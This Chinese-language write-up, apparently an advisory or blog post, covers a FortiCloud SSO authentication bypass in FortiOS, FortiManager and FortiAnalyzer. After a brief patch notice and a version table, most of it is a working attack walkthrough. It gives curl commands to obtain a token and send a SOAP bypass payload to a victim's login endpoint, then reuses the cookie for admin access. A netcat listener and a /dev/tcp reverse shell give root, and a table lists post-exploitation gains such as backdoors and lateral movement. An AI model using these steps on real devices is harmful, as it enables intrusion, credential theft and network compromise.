FortiCloud 单点登录(SSO)是注册任何 FortiGate/FortiManager/FortiAnalyzer 后默认启用的功能,其中包含一个严重的认证绕过漏洞。
任何拥有 FortiCloud 账户(免费或付费)的攻击者都可以复用其 SSO 令牌登录其他客户的设备(版本不高于下表所列),而无需知道对方的密码。
利用成功后,攻击者可获得完整的 admin GUI 和 root shell 访问权限,从而能够拦截流量、篡改 VPN 或横向移动进入内部网络。
请立即升级,或在修复前禁用 FortiCloud SSO。
| 产品 | 受影响固件 | 已修复版本 |
|---|
| FortiOS | 7.0.0–7.0.18, 7.2.0–7.2.12, 7.4.0–7.4.10, 7.6.0–7.6.5 | ≥ 7.0.19, ≥ 7.2.13, ≥ 7.4.11, ≥ 7.6.6 |
| FortiManager | 7.0.0–7.0.10, 7.2.0–7.2.5, 7.4.0–7.4.9 | 相同 major.minor+1 |
| FortiAnalyzer | 相同范围 | 相同 |
攻击者机器
监听反向 shell:
nc -lvnp 4444
获取攻击者令牌(15 分钟 TTL)
curl -k -X POST https://customerapiauth.fortinet.com/api/v1/auth/token \
-H "Content-Type: application/json" \
-d '{"username":"[email protected]","password":"AttackerPass123"}'
响应(片段):
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGc...","expires_in":900}
复制 access_token 的值。
构建绕过载荷
保存为 bypass.xml:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<authRequest>
<serialNumber>FGT80ETK21000000</serialNumber>
<token>eyJ0eXAiOiJKV1QiLCJhbGc...</token>
<action>login</action>
</authRequest>
</soapenv:Body>
</soapenv:Envelope>
发送至目标(任何固件版本不高于上表)
curl -k -X POST https://<VICTIM-IP>:443/remote/logincheck \
-H "Content-Type: application/xml" \
--data @bypass.xml \
-c cookies.txt
HTTP 200 + Set-Cookie: APSCOOKIE=... → 成功。
浏览 admin GUI
打开浏览器或使用保存的 cookie 通过 curl 访问:
curl -k -b cookies.txt https://<VICTIM-IP>/ng/
→ 出现 Dashboard,无需输入密码。
Root shell(CLI 组件)
在 GUI 中:Dashboard → CLI Console
execute bash
bash-4.4# bash -i >& /dev/tcp/192.168.8.129/4444 0>&1
监听端收到:
root@FGT80ETK21000000:/#
| 场景 | 结果 |
|---|---|
| 只读 admin | 导出完整配置(VPN 密钥、本地策略、用户哈希)。 |
| 写入 admin | 修改防火墙规则、创建本地用户、禁用日志、植入持久化脚本。 |
| Root shell | 转储 config.dat、提取 HA 密钥、横向移动至内部子网、植入后门服务。 |
| 横向移动 | 设备成为立足点;VLAN 和 SSL-VPN 隧道受信任 → 更深入的网络入侵。 |
| 数据外泄 | 所有流量均经过 FortiGate → 透明代理 + 证书注入。 |